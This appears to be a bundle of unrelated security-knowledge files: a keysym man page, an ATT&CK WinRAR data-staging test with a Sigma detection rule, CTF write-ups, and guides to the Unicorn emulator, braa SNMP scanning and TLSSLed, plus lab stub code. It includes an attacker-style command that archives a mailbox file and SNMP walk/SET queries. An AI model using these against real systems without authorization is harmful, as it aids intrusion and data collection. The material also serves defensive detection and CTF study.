Greek_gamma 2019 0x07e3
Greek_delta 2020 0x07e4
Greek_epsilon 2021 0x07e5
Greek_zeta 2022 0x07e6
Greek_eta 2023 0x07e7
Greek_theta 2024 0x07e8
Greek_iota 2025 0x07e9
Greek_kappa 2026 0x07ea
Greek_lambda 2027 0x07eb
Greek_mu 2028 0x07ec
Greek_nu 2029 0x07ed
Greek_xi 2030 0x07ee
Greek_omicron 2031 0x07ef
Greek_pi 2032 0x07f0
Greek_rho 2033 0x07f1
Greek_sigma 2034 0x07f2
Greek_finalsmallsigma 2035 0x07f3
Greek_tau 2036 0x07f4
Greek_upsilon 2037 0x07f5
Greek_phi 2038 0x07f6
Greek_chi 2039 0x07f7
Greek_psi 2040 0x07f8
Greek_omega 2041 0x07f9
leftradical 2209 0x08a1
topleftradical 2210 0x08a2
horizconnector 2211 0x08a3
topintegral 2212 0x08a4
botintegral 2213 0x08a5
vertconnector 2214 0x08a6
topleftsqbracket 2215 0x08a7
botleftsqbracket 2216 0x08a8
toprightsqbracket 2217 0x08a9
botrightsqbracket 2218 0x08aa
topleftparens 2219 0x08ab
botleftparens 2220 0x08ac
toprightparens 2221 0x08ad
botrightparens 2222 0x08ae
leftmiddlecurlybrace 2223 0x08af
rightmiddlecurlybrace 2224 0x08b0
topleftsummation 2225 0x08b1
botleftsummation 2226 0x08b2
topvertsummationconnector 2227 0x08b3
botvertsummationconnector 2228 0x08b4
toprightsummation 2229 0x08b5
botrightsummation 2230 0x08b6
rightmiddlesummation 2231 0x08b7
.CE
.CS
lessthanequal 2236 0x08bc
notequal 2237 0x08bd
greaterthanequal 2238 0x08be
integral 2239 0x08bf
therefore 2240 0x08c0
variation 2241 0x08c1
infinity 2242 0x08c2
nabla 2245 0x08c5
approximate 2248 0x08c8
similarequal 2249 0x08c9
ifonlyif 2253 0x08cd
implies 2254 0x08ce
identical 2255 0x08cf
radical 2262 0x08d6
includedin 2266 0x08da
includes 2267 0x08db
intersection 2268 0x08dc
union 2269 0x08dd
logicaland 2270 0x08de
logicalor 2271 0x08df
partialderivative 2287 0x08ef
function 2294 0x08f6
leftarrow 2299 0x08fb
uparrow 2300 0x08fc
rightarrow 2301 0x08fd
downarrow 2302 0x08fe
blank 2527 0x09df
soliddiamond 2528 0x09e0
checkerboard 2529 0x09e1
ht 2530 0x09e2
ff 2531 0x09e3
cr 2532 0x09e4
lf 2533 0x09e5
nl 2536 0x09e8
vt 2537 0x09e9
lowrightcorner 2538 0x09ea
uprightcorner 2539 0x09eb
upleftcorner 2540 0x09ec
lowleftcorner 2541 0x09ed
crossinglines 2542 0x09ee
horizlinescan1 2543 0x09ef
horizlinescan3 2544 0x09f0
horizlinescan5 2545 0x09f1
horizlinescan7 2546 0x09f2
horizlinescan9 2547 0x09f3
leftt 2548 0x09f4
rightt 2549 0x09f5
bott 2550 0x09f6
topt 2551 0x09f7
vertbar 2552 0x09f8
emspace 2721 0x0aa1
enspace 2722 0x0aa2
em3space 2723 0x0aa3
em4space 2724 0x0aa4
digitspace 2725 0x0aa5
punctspace 2726 0x0aa6
thinspace 2727 0x0aa7
hairspace 2728 0x0aa8
emdash 2729 0x0aa9
endash 2730 0x0aaa
signifblank 2732 0x0aac
ellipsis 2734 0x0aae
doubbaselinedot 2735 0x0aaf
onethird 2736 0x0ab0
twothirds 2737 0x0ab1
onefifth 2738 0x0ab2
twofifths 2739 0x0ab3
threefifths 2740 0x0ab4
fourfifths 2741 0x0ab5
onesixth 2742 0x0ab6
fivesixths 2743 0x0ab7
careof 2744 0x0ab8
figdash 2747 0x0abb
leftanglebracket 2748 0x0abc
decimalpoint 2749 0x0abd
rightanglebracket 2750 0x0abe
marker 2751 0x0abf
oneeighth 2755 0x0ac3
threeeighths 2756 0x0ac4
fiveeighths 2757 0x0ac5
seveneighths 2758 0x0ac6
trademark 2761 0x0ac9
signaturemark 2762 0x0aca
trademarkincircle 2763 0x0acb
leftopentriangle 2764 0x0acc
rightopentriangle 2765 0x0acd
emopencircle 2766 0x0ace
emopenrectangle 2767 0x0acf
leftsinglequotemark 2768 0x0ad0
rightsinglequotemark 2769 0x0ad1
leftdoublequotemark 2770 0x0ad2
rightdoublequotemark 2771 0x0ad3
prescription 2772 0x0ad4
minutes 2774 0x0ad6
seconds 2775 0x0ad7
latincross 2777 0x0ad9
hexagram 2778 0x0ada
filledrectbullet 2779 0x0adb
filledlefttribullet 2780 0x0adc
filledrighttribullet 2781 0x0add
emfilledcircle 2782 0x0ade
emfilledrect 2783 0x0adf
enopencircbullet 2784 0x0ae0
enopensquarebullet 2785 0x0ae1
openrectbullet 2786 0x0ae2
opentribulletup 2787 0x0ae3
opentribulletdown 2788 0x0ae4
openstar 2789 0x0ae5
enfilledcircbullet 2790 0x0ae6
enfilledsqbullet 2791 0x0ae7
filledtribulletup 2792 0x0ae8
filledtribulletdown 2793 0x0ae9
leftpointer 2794 0x0aea
rightpointer 2795 0x0aeb
club 2796 0x0aec
diamond 2797 0x0aed
heart 2798 0x0aee
maltesecross 2800 0x0af0
dagger 2801 0x0af1
doubledagger 2802 0x0af2
checkmark 2803 0x0af3
ballotcross 2804 0x0af4
musicalsharp 2805 0x0af5
musicalflat 2806 0x0af6
malesymbol 2807 0x0af7
femalesymbol 2808 0x0af8
telephone 2809 0x0af9
telephonerecorder 2810 0x0afa
phonographcopyright 2811 0x0afb
caret 2812 0x0afc
singlelowquotemark 2813 0x0afd
doublelowquotemark 2814 0x0afe
cursor 2815 0x0aff
leftcaret 2979 0x0ba3
rightcaret 2982 0x0ba6
downcaret 2984 0x0ba8
upcaret 2985 0x0ba9
overbar 3008 0x0bc0
downtack 3010 0x0bc2
upshoe 3011 0x0bc3
downstile 3012 0x0bc4
underbar 3014 0x0bc6
jot 3018 0x0bca
quad 3020 0x0bcc
uptack 3022 0x0bce
circle 3023 0x0bcf
upstile 3027 0x0bd3
downshoe 3030 0x0bd6
rightshoe 3032 0x0bd8
leftshoe 3034 0x0bda
lefttack 3036 0x0bdc
righttack 3068 0x0bfc
hebrew_aleph 3296 0x0ce0
hebrew_beth 3297 0x0ce1
hebrew_gimmel 3298 0x0ce2
hebrew_daleth 3299 0x0ce3
hebrew_he 3300 0x0ce4
hebrew_waw 3301 0x0ce5
hebrew_zayin 3302 0x0ce6
hebrew_het 3303 0x0ce7
hebrew_teth 3304 0x0ce8
hebrew_yod 3305 0x0ce9
hebrew_finalkaph 3306 0x0cea
hebrew_kaph 3307 0x0ceb
hebrew_lamed 3308 0x0cec
hebrew_finalmem 3309 0x0ced
hebrew_mem 3310 0x0cee
hebrew_finalnun 3311 0x0cef
hebrew_nun 3312 0x0cf0
hebrew_samekh 3313 0x0cf1
hebrew_ayin 3314 0x0cf2
hebrew_finalpe 3315 0x0cf3
hebrew_pe 3316 0x0cf4
hebrew_finalzadi 3317 0x0cf5
hebrew_zadi 3318 0x0cf6
hebrew_kuf 3319 0x0cf7
hebrew_resh 3320 0x0cf8
hebrew_shin 3321 0x0cf9
hebrew_taf 3322 0x0cfa
BackSpace 65288 0xff08
Tab 65289 0xff09
Linefeed 65290 0xff0a
Clear 65291 0xff0b
Return 65293 0xff0d
Pause 65299 0xff13
Scroll_Lock 65300 0xff14
Sys_Req 65301 0xff15
Escape 65307 0xff1b
Multi_key 65312 0xff20
Kanji 65313 0xff21
Home 65360 0xff50
Left 65361 0xff51
Up 65362 0xff52
Right 65363 0xff53
Down 65364 0xff54
Prior 65365 0xff55
Next 65366 0xff56
End 65367 0xff57
Begin 65368 0xff58
Win_L 65371 0xff5b
Win_R 65372 0xff5c
.CE
.CS
App 65373 0xff5d
Select 65376 0xff60
Print 65377 0xff61
Execute 65378 0xff62
Insert 65379 0xff63
Undo 65381 0xff65
Redo 65382 0xff66
Menu 65383 0xff67
Find 65384 0xff68
Cancel 65385 0xff69
Help 65386 0xff6a
Break 65387 0xff6b
Hebrew_switch 65406 0xff7e
Num_Lock 65407 0xff7f
KP_Space 65408 0xff80
KP_Tab 65417 0xff89
KP_Enter 65421 0xff8d
KP_F1 65425 0xff91
KP_F2 65426 0xff92
KP_F3 65427 0xff93
KP_F4 65428 0xff94
KP_Multiply 65450 0xffaa
KP_Add 65451 0xffab
KP_Separator 65452 0xffac
KP_Subtract 65453 0xffad
KP_Decimal 65454 0xffae
KP_Divide 65455 0xffaf
KP_0 65456 0xffb0
KP_1 65457 0xffb1
KP_2 65458 0xffb2
KP_3 65459 0xffb3
KP_4 65460 0xffb4
KP_5 65461 0xffb5
KP_6 65462 0xffb6
KP_7 65463 0xffb7
KP_8 65464 0xffb8
KP_9 65465 0xffb9
KP_Equal 65469 0xffbd
F1 65470 0xffbe
F2 65471 0xffbf
F3 65472 0xffc0
F4 65473 0xffc1
F5 65474 0xffc2
F6 65475 0xffc3
F7 65476 0xffc4
F8 65477 0xffc5
F9 65478 0xffc6
F10 65479 0xffc7
L1 65480 0xffc8
L2 65481 0xffc9
L3 65482 0xffca
L4 65483 0xffcb
L5 65484 0xffcc
L6 65485 0xffcd
L7 65486 0xffce
L8 65487 0xffcf
L9 65488 0xffd0
L10 65489 0xffd1
R1 65490 0xffd2
R2 65491 0xffd3
R3 65492 0xffd4
R4 65493 0xffd5
R5 65494 0xffd6
R6 65495 0xffd7
R7 65496 0xffd8
R8 65497 0xffd9
R9 65498 0xffda
R10 65499 0xffdb
R11 65500 0xffdc
R12 65501 0xffdd
F33 65502 0xffde
R14 65503 0xffdf
R15 65504 0xffe0
Shift_L 65505 0xffe1
Shift_R 65506 0xffe2
Control_L 65507 0xffe3
Control_R 65508 0xffe4
Caps_Lock 65509 0xffe5
Shift_Lock 65510 0xffe6
Meta_L 65511 0xffe7
Meta_R 65512 0xffe8
Alt_L 65513 0xffe9
Alt_R 65514 0xffea
Super_L 65515 0xffeb
Super_R 65516 0xffec
Hyper_L 65517 0xffed
Hyper_R 65518 0xffee
Delete 65535 0xffff
.CE
.SH "参见 SEE ALSO"
bind
.SH "关键字 KEYWORDS"
keysym, bind, binding
.SH "[中文版维护人]"
.B bbbush <bbbush@163.com>
.SH "[中文版最新更新]"
.B 2003/11/14
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1560-001-win-通过winrar压缩数据
## 来自ATT&CK的描述
攻击者可以使用第三方工具压缩或加密之前收集的数据。存在许多可以压缩数据的实用程序,包括7-Zip,WinRAR和WinZip。大多数实用程序都包含加密或压缩数据的功能。
可能已预先安装了一些第三方工具,例如tar在Linux和macOS或zipWindows系统上。
## 测试案例
windows下安装winrar程序,通过winrar命令行的方式进行数据压缩。
winrar相关命令解释,可参考官方解释说明。
## 检测日志
windows 安全日志
## 测试复现
```yml
C:\Users\Administrator>winrar a C:\Users\Administrator\qax.rar C:\Users\Administrator\qax.pst
# 注意,如果在使用winrar命令提示“winrar不是内部或外部命令,也不是可运行的程序或批处理文件“。请记得添加环境变量
```
## 测试留痕
windows 安全日志、进程创建、命令行参数等
```yml
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0x7169C
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0xe20
新进程名称: C:\Program Files\WinRAR\WinRAR.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x378
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: winrar a C:\Users\Administrator\qax.rar C:\Users\Administrator\qax.pst
```
## 检测规则/思路
### sigma规则
```yml
title: windows-winrar压缩数据
description: windows server 2016模拟测试,攻击者通过winrar压缩收集到的数据
tags: T1560-001
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #已创建新的进程。
Newprocessname: '*RAR.exe' #进程信息>新进程名称
Processcommandline: 'a' #进程信息>进程命令行
condition: selection
level: medium
```
## 建议
可以通过进程监视和监视已知压缩程序的命令行参数来检测可能存在于系统中的攻击者利用压缩程序压缩数据文件的行为。这可能会产生大量的良性事件,具体取决于环境中系统的使用方式。
## 参考推荐
MITRE-ATT&CK-T1560-001
<https://attack.mitre.org/techniques/T1560/001/>
windows 命令行中使用winrar
<https://blog.csdn.net/findmyself_for_world/article/details/39292181>
利用WinRAR命令行压缩文件或文件夹
<https://www.cnblogs.com/xzlive/p/10508940.html>
|
sec-knowleage
|
# BSidesTLV 2019 CTF
Various writeups for the [2019 BSidesTLV CTF](https://ctf19.bsidestlv.com).
Participated as part of the [JCTF team](https://jctf.team/), which came in second:

It was a battle right to the end.
Personally I really enjoyed [DoSaTTaCK](DoSaTTaCK.md), it would be really nice to see more DOS based challenges in CTFs.
|
sec-knowleage
|
name: Comment Docs Preview in PR
description: Comment with the docs URL preview in the PR
author: Sebastián Ramírez <tiangolo@gmail.com>
inputs:
token:
description: Token for the repo. Can be passed in using {{ secrets.GITHUB_TOKEN }}
required: true
deploy_url:
description: The deployment URL to comment in the PR
required: true
runs:
using: docker
image: Dockerfile
|
sec-knowleage
|
### Unicorn引擎概述
Unicorn是一个轻量级, 多平台, 多架构的CPU模拟器框架. 我们可以更好地关注CPU操作, 忽略机器设备的差异. 想象一下, 我们可以将其应用于这些情景: 比如我们单纯只是需要模拟代码的执行而非需要一个真的CPU去完成那些操作, 又或者想要更安全地分析恶意代码, 检测病毒特征, 或者想要在逆向过程中验证某些代码的含义. 使用CPU模拟器可以很好地帮助我们提供便捷.
它的亮点(这也归功于Unicorn是基于[qemu](http://www.qemu.org)而开发的)有:
* 支持多种架构: Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64).
* 对Windows和*nix系统(已确认包含Mac OSX, Linux, *BSD & Solaris)的原生支持
* 具有平台独立且简洁易于使用的API
* 使用JIT编译技术, 性能表现优异
你可以在[Black Hat USA 2015](http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf)获悉有关Unicorn引擎的更多技术细节. Github项目主页: [unicorn](https://github.com/unicorn-engine/unicorn)
尽管它不同寻常, 但它无法模拟整个程序或系统, 也不支持系统调用. 你需要手动映射内存并写入数据进去, 随后你才能从指定地址开始模拟.
### Unicorn Engine应用的情景
什么时候能够用到Unicorn引擎呢?
* 你可以调用恶意软件中一些有趣的函数, 而不用创建一个有害的进程.
* 用于CTF竞赛
* 用于模糊测试
* 用于gdb插件, 基于代码模拟执行的插件
* 模拟执行一些混淆代码
### Unicorn Engine安装方式
安装Unicorn最简单的方式就是使用pip安装, 只要在命令行中运行以下命令即可(这是适合于喜爱用python的用户的安装方法, 对于那些想要使用C的用户, 则需要去官网查看文档编译源码包):
``` shell
pip install unicorn
```
但如果你想用源代码进行本地编译的话, 你需要在[下载](http://www.unicorn-engine.org/download/)页面中下载源代码包, 然后可以按照以下命令执行:
* *nix 平台用户
``` shell
$ cd bindings/python
$ sudo make install
```
* Windows平台用户
``` shell
cd bindings/python
python setup.py install
```
对于Windows, 在执行完上述命令后, 还需要将[下载](http://www.unicorn-engine.org/download/)页面的`Windows core engine`的所有dll文件复制到`C:\locationtopython\Lib\site-packages\unicorn`位置处.
### unicorn快速使用指南
我们将会展示如何使用python调用unicorn的api以及它是如何轻易地模拟二进制代码. 当然这里用的api仅是一小部分, 但对于入门已经足够了.
``` python
1 from __future__ import print_function
2 from unicorn import *
3 from unicorn.x86_const import *
4
5 # code to be emulated
6 X86_CODE32 = b"\x41\x4a" # INC ecx; DEC edx
7
8 # memory address where emulation starts
9 ADDRESS = 0x1000000
10
11 print("Emulate i386 code")
12 try:
13 # Initialize emulator in X86-32bit mode
14 mu = Uc(UC_ARCH_X86, UC_MODE_32)
15
16 # map 2MB memory for this emulation
17 mu.mem_map(ADDRESS, 2 * 1024 * 1024)
18
19 # write machine code to be emulated to memory
20 mu.mem_write(ADDRESS, X86_CODE32)
21
22 # initialize machine registers
23 mu.reg_write(UC_X86_REG_ECX, 0x1234)
24 mu.reg_write(UC_X86_REG_EDX, 0x7890)
25
26 # emulate code in infinite time & unlimited instructions
27 mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
28
29 # now print out some registers
30 print("Emulation done. Below is the CPU context")
31
32 r_ecx = mu.reg_read(UC_X86_REG_ECX)
33 r_edx = mu.reg_read(UC_X86_REG_EDX)
34 print(">>> ECX = 0x%x" %r_ecx)
35 print(">>> EDX = 0x%x" %r_edx)
36
37 except UcError as e:
38 print("ERROR: %s" % e)
```
运行结果如下:
``` shell
$ python test1.py
Emulate i386 code
Emulation done. Below is the CPU context
>>> ECX = 0x1235
>>> EDX = 0x788f
```
样例里的注释已经非常直观, 但我们还是对每一行代码做出解释:
* 行号2~3: 在使用Unicorn前导入`unicorn`模块. 样例中使用了一些x86寄存器常量, 所以也需要导入`unicorn.x86_const`模块
* 行号6: 这是我们需要模拟的二进制机器码, 使用十六进制表示, 代表的汇编指令是: "INC ecx" 和 "DEC edx".
* 行号9: 我们将模拟执行上述指令的所在虚拟地址
* 行号14: 使用`Uc`类初始化Unicorn, 该类接受2个参数: 硬件架构和硬件位数(模式). 在样例中我们需要模拟执行x86架构的32位代码, 我
们使用变量`mu`来接受返回值.
* 行号17: 使用`mem_map `方法根据在行号9处声明的地址, 映射2MB用于模拟执行的内存空间. 所有进程中的CPU操作都应该只访问该内存区域. 映射的内存具有默认的读,写和执行权限.
* 行号20: 将需要模拟执行的代码写入我们刚刚映射的内存中. `mem_write`方法接受2个参数: 要写入的内存地址和需要写入内存的代码.
* 行号23~24: 使用`reg_write`方法设置`ECX`和`EDX`寄存器的值
* 行号27: 使用`emu_start`方法开始模拟执行, 该API接受4个参数: 要模拟执行的代码地址, 模拟执行停止的内存地址(这里是
`X86_CODE32`的最后1字节处), 模拟执行的时间和需要执行的指令数目. 如果我们像样例一样忽略后两个参数, Unicorn将会默认以无穷时间和无穷指令数目的条件来模拟执行代码.
* 行号32~35: 打印输出`ECX`和`EDX`寄存器的值. 我们使用函数`reg_read`来读取寄存器的值.
要想查看更多的python示例, 可以查看文件夹[bindings/python](https://github.com/unicorn-engine/unicorn/tree/master/bindings/python)下的代码. 而C的示例则可以查看[sample](https://github.com/unicorn-engine/unicorn/tree/master/samples)文件夹下的代码.
|
sec-knowleage
|
---
title: braa
categories: Information Gathering
tags: [kali linux,enumeration,braa,information gathering,snmp]
date: 2016-10-19 06:38:49
---
0x00 braa介绍
-------------
Braa是大规模SNMP扫描工具,这种工具的预期用途当然是使SNMP(Simple Network Management Protocol简单网络管理)查询 - 但不同于来自net-snmp的snmpget或snmpwalk,它能够在单个进程中同时查询几十或几百个主机。 因此,它消耗非常少的系统资源,并且扫描非常快。
Braa通过它的OWN snmp栈实现,所以它不需要任何SNMP库,如net-snmp。 它的实现非常脏,只支持几种数据类型,并且在任何情况下都不能说“符合标准”! 但是它跑起来飞快, 因为这个原因(好吧,也是因为我的懒惰),在braa中没有ASN.1解析器 - 你必须知道OID的数值(例如.1.3.6.1.2.1.1.5.0 而不是用system.sysName.0)。
OID可以理解为有规则的设备参数编码,snmp协议将设备的各种参数按树形结构进行分组,从树的根部开始,每一个层级节点会有一个编码,将这些层级编码以“."作为分隔符,将其拼接起来所形成的一串编码就叫OID,通过OID可以对该OID表示的参数进行操作。
可以参考[SNMP监控一些常用OID的总结][1]
工具来源:braa README
[braa主页][2] | [Kali braaRepo仓库][3]
- 作者:Mateusz ‘mteg’ Golicz
- 证书:GPLv2
0x01 braa功能
---------------
Braa - 大规模SNMP扫描工具
```shell
root@kali:~# braa
braa 0.81 - Mateusz'mteg'Golicz <mtg@elsat.net.pl>,2003 - 2006
用法:braa [options] [query1] [query2] ...
-h 显示此帮助
-2 声明SNMP2C代理
-v 执行所有查询后显示简要摘要
-x 十六进制转储八位字节串
-t <s> 获得响应前等待数秒
-d <s> 发送每个数据包后等待微秒数
-p <s> 在后续遍之间等待数毫秒
-f <file> 从文件<file>加载查询(逐行)
-a <time> 在<time>秒后退出
-r <rc> 重试次数(默认值:3)
查询格式:
GET: [community@]iprange[:port]:oid[/id]
WALK: [community@]iprange[:port]:oid.*[/id]
SET: [community@]iprange[:port]:oid=value[/id]
例子:
public@10.253.101.1:161:.1.3.6.*
10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme
10.253.101.1:.1.3.6.1.2.1.1.1.0/description
也可以一次指定多个查询:
10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme,.1.3.6.*
(将.1.3.6.1.2.1.1.4.0设置为'me',并从.1.3.6开始)
SET查询的值必须在前面加上指定值类型的字符:
i 是INTEGER类型
a 是IPADDRESS类型
s 是OCTET STRING类型
o 是OBJECT IDENTIFIER类型
如果缺少类型说明符,则会自动检测值类型
```
0x02 braa用法示例
-----------------
使用公开公布的OID字符串在192.168.1.215上运行遍历SNMP树,查询.1.3.6下的所有OID:
```shell
root@kali:~# braa public@192.168.1.215:.1.3.6.*
192.168.1.215:122ms:.1.3.6.1.2.1.1.1.0:Linux redhat.biz.local 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686
192.168.1.215:143ms:.1.3.6.1.2.1.1.2.0:.1.3.6.1.4.1.8072.3.2.10
192.168.1.215:122ms:.1.3.6.1.2.1.1.3.0:4051218219
192.168.1.215:122ms:.1.3.6.1.2.1.1.4.0:Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
192.168.1.215:143ms:.1.3.6.1.2.1.1.5.0:redhat.biz.local
```
[1]: http://www.cnblogs.com/aspx-net/p/3554044.html
[2]: http://s-tech.elsat.net.pl/
[3]: http://git.kali.org/gitweb/?p=packages/braa.git;a=summary
|
sec-knowleage
|
"""cve201914234 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
urlpatterns = [
path('admin/', admin.site.urls),
]
|
sec-knowleage
|
# Russian threesome, re, 5 solves, 500p
> Interested in the hot secret hidden in my basement? That's right, it's stored on this old computer. Unfortunately it stopped working a long time ago. However I've got an emulator that simulates this machine and I even was able to dump it's magnetic drum into a file. I'm sure that way extracting the juicy data should be easy, right?
As the description stated, we got two files: a compiled emulator and image of a magnetic drum. Reversing the emulator was the first part of the
challenge.
As it turns out, the emulated architecture is pretty interesting. It uses balanced ternary encoding for everything, organized into 9-trit mini-words ("trytes"),
two of which make a word. There are 27 words in a sector. The whole drum is composed of 36 sectors.
The machine contains a few registers and memory objects:
- sectors X, Y, Z - three of drum sectors can be loaded into memory at the same time,
- accumulator (A), used generally as tryte-sized object,
- secondary accumulator (B), used for multiplication etc.
- program counter (PC), five-trit sized (selects X/Y/Z, one of 27 words, one of trytes; must not have -1 as LSB)
- flag (F), one trit of last operation sign
- indirection register (V), five-trit sized
Program counter always increments after the instruction, even if it was a jump (so jump target is actually one after what is encoded). All instructions
are tryte-sized and have the same composition: 3-trit opcode, 5-trit immediate, 1-trit indirection flag. If indirection flag is non-zero, the
indirection register is added to immediate field. This behavior allows for indirect indexing, for example `A = [V+20]` (other than by using V, all instructions
use constant addresses).
The machine has a few allowances for IO: audio (interprets X/Y/Z as speaker tones), puts and gets (reads or writes string into X/Y/Z). The machine
has specific charset, where bytes lower than 128 are ASCII and 128-255 are custom Russian characters.
There is quite a few opcodes, but they are mostly variations of the same:
```
X/Y/Z = drumsector n
audio X/Y/Z
puts X/Y/Z
gets X/Y/Z
drumsector n = X/Y/Z
shift A, Tn
mov Tn, A
add V, Tn
mov V, Tn
mov V, pc+Tn
mov Tn, V
jmp Tn
mov Tn, pc
jneg Tn
jzer Tn
jpos Tn
halt
and A, Tn
mov B, Tn
sub A, Tn
mov A, Tn
add A, Tn
mov A, Tn + A * B
mul A, Tn
add A, Tn * B
```
There are no instructions for loading a register with a constant, so instead the constants are store in memory and loaded as Tn.
Now that the emulator is reversed, we wrote a disassembler and reversed the drum code.
Since the machine lacks convenient stack, or even call/ret instructions, these are implemented in software in sector 1. This sector is loaded most
of the time into sector X and allows simpler sector switching. Sector Y is devoted to currently executed code, and sector Z to data being operated on.
Running the emulator we see a menu and admin panel protected by a password. Reversing the code shows it calculates a simple hash based on
256-byte substitution table - though due to architecture quirks this takes hundreds of instructions and many thousands of cycles. The hash was
reversible, so we wrote a script to calculate the inverse, which when put into the emulator got us the flag:
```
ak@ak-VirtualBox:~$ ./emulator magnetic_drum.img
Добро пожаловать!
Меню:
1. Коробейники
2. Сведения
3. Админка
4. Остановить
3
Введите пароль: Кто хочет много знать, тому мало спать.
flag{put_your_trits_inside_my_drum}
```
|
sec-knowleage
|
"""
WSGI config for cve201914234 project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cve201914234.settings')
application = get_wsgi_application()
|
sec-knowleage
|
# TLSSLed软件包描述
TLSSLed是一个Linux shell脚本,其目的是评估目标SSL/TLS(HTTPS)Web服务器实现的安全性。它基于sslscan和“openssl s_client”命令行工具,sslscan是一个使用openssl库全面的SSL/TLS扫描器。 目前的测试包括检查目标是否支持SSLv2协议、空密码、弱密码(长度40或56位)、强密码(如AES)的可用性、数字证书是否MD5签名,以及当前的SSL/TLS重协商功能。
资料来源:http://www.taddong.com/en/lab.html
[TLSSLed首页](http://www.taddong.com/en/lab.html) | [Kali TLSSLed资源](http://git.kali.org/gitweb/?p=packages/tlssled.git;a=summary)
- 作者:Raul Siles,Taddong SL
- 许可证:GPLv3
## TLSSLed包含的工具
### tlssled - 评估目标SSL/TLS(HTTPS)服务器的安全性
```
root@kali:~# tlssled
------------------------------------------------------
TLSSLed - (1.3) based on sslscan and openssl
by Raul Siles (www.taddong.com)
------------------------------------------------------
openssl version: OpenSSL 1.0.1e 11 Feb 2013
sslscan version 1.8.2
------------------------------------------------------
Date: 20140520-110731
------------------------------------------------------
[!] 用法: /usr/bin/tlssled <主机名或IP地址> <端口>
```
## TLSSLed使用示例
检查主机192.168.1.1和端口443上的SSL/TLS:
```
root@kali:~# tlssled 192.168.1.1 443
------------------------------------------------------
TLSSLed - (1.3) based on sslscan and openssl
by Raul Siles (www.taddong.com)
------------------------------------------------------
openssl version: OpenSSL 1.0.1e 11 Feb 2013
sslscan version 1.8.2
------------------------------------------------------
Date: 20140513-165131
------------------------------------------------------
[*] 分析192.168.1.1:443上的SSL/TLS...
[.] 输出目录: TLSSLed_1.3_192.168.1.1_443_20140513-165131 ...
[*] 检查目标是否支持SSL/TLS...
[.] 目标192.168.1.1:443支持SSL/TLS...
[.] 使用的SSL/TLS协议版本:
(空意味着正在使用默认的openssl协议版本)
[*] 在192.168.1.1:443上运行sslscan...
[-] 测试SSLv2 ...
[-] 测试空密码...
```
原文链接:[http://tools.kali.org/information-gathering/tlssled](http://tools.kali.org/information-gathering/tlssled)
|
sec-knowleage
|
package org.pwntester.action;
import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
public class FileUploadAction extends ActionSupport {
private String contentType;
private File upload;
private String fileName;
private String caption;
public String input() throws Exception {
return SUCCESS;
}
public String upload() throws Exception {
return SUCCESS;
}
public String getUploadFileName() {
return fileName;
}
public void setUploadFileName(String fileName) {
this.fileName = fileName;
}
public String getUploadContentType() {
return contentType;
}
public void setUploadContentType(String contentType) {
this.contentType = contentType;
}
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getCaption() {
return caption;
}
public void setCaption(String caption) {
this.caption = caption;
}
}
|
sec-knowleage
|
# 2021-10-G60攻防大赛
---
## crypto1
凯撒加密
flag{7eb61b29-8f38-40cd-8ec5-50a3f1f9d8b8}
---
## crypto2
```
AABA ABAA AB BBA BBBBABB AAAAB BAA BAAAA AAABB BAAA BBBBA A AAAAB BABBAB AABA A BAAAA AAABB BABBAB AAAAB BAAAA BBAAA BABA BABBAB BBBBA AAAAA BBBBB AAAAB BABBAB BAAA BBBAA BAAA AABBB BBBAA A ABBBB AAAAB AAAAA BBBAA BAAA BAAA BBBBBAB
```
摩斯电码
```
A > .
B > -
..-. .-.. .- --. ----.-- ....- -.. -.... ...-- -... ----. . ....- -.--.- ..-. . -.... ...-- -.--.- ....- -.... --... -.-. -.--.- ----. ..... ----- ....- -.--.- -... ---.. -... ..--- ---.. . .---- ....- ..... ---.. -... -... -----.-
```
flag{4d63b9e4-fe63-467c-9504-b8b28e1458bb}
---
## crypto3
e = 2953544268002866703872076551930953722572317122777861299293407053391808199220655289235983088986372630141821049118015752017412642148934113723174855236142887
N = 6006128121276172470274143101473619963750725942458450119252491144009018469845917986523007748831362674341219814935241703026024431390531323127620970750816983
flag = 4082777468662493175049853412968913980472986215497247773911290709560282223053863513029985115855416847643274608394467813391117463817805000754191093158289399
"factor(6006128121276172470274143101473619963750725942458450119252491144009018469845917986523007748831362674341219814935241703026024431390531323127620970750816983)"
md 原题
```py
from Crypto.Util.number import *
from tqdm import tqdm
e = 2953544268002866703872076551930953722572317122777861299293407053391808199220655289235983088986372630141821049118015752017412642148934113723174855236142887
N = 6006128121276172470274143101473619963750725942458450119252491144009018469845917986523007748831362674341219814935241703026024431390531323127620970750816983
c = 4082777468662493175049853412968913980472986215497247773911290709560282223053863513029985115855416847643274608394467813391117463817805000754191093158289399
for dp in tqdm(range(3, 1<<20, 2)):
tmp = e*dp-1
t = pow(3, tmp, N)
p = GCD(N, t-1)
if p != 1:
print("find p!")
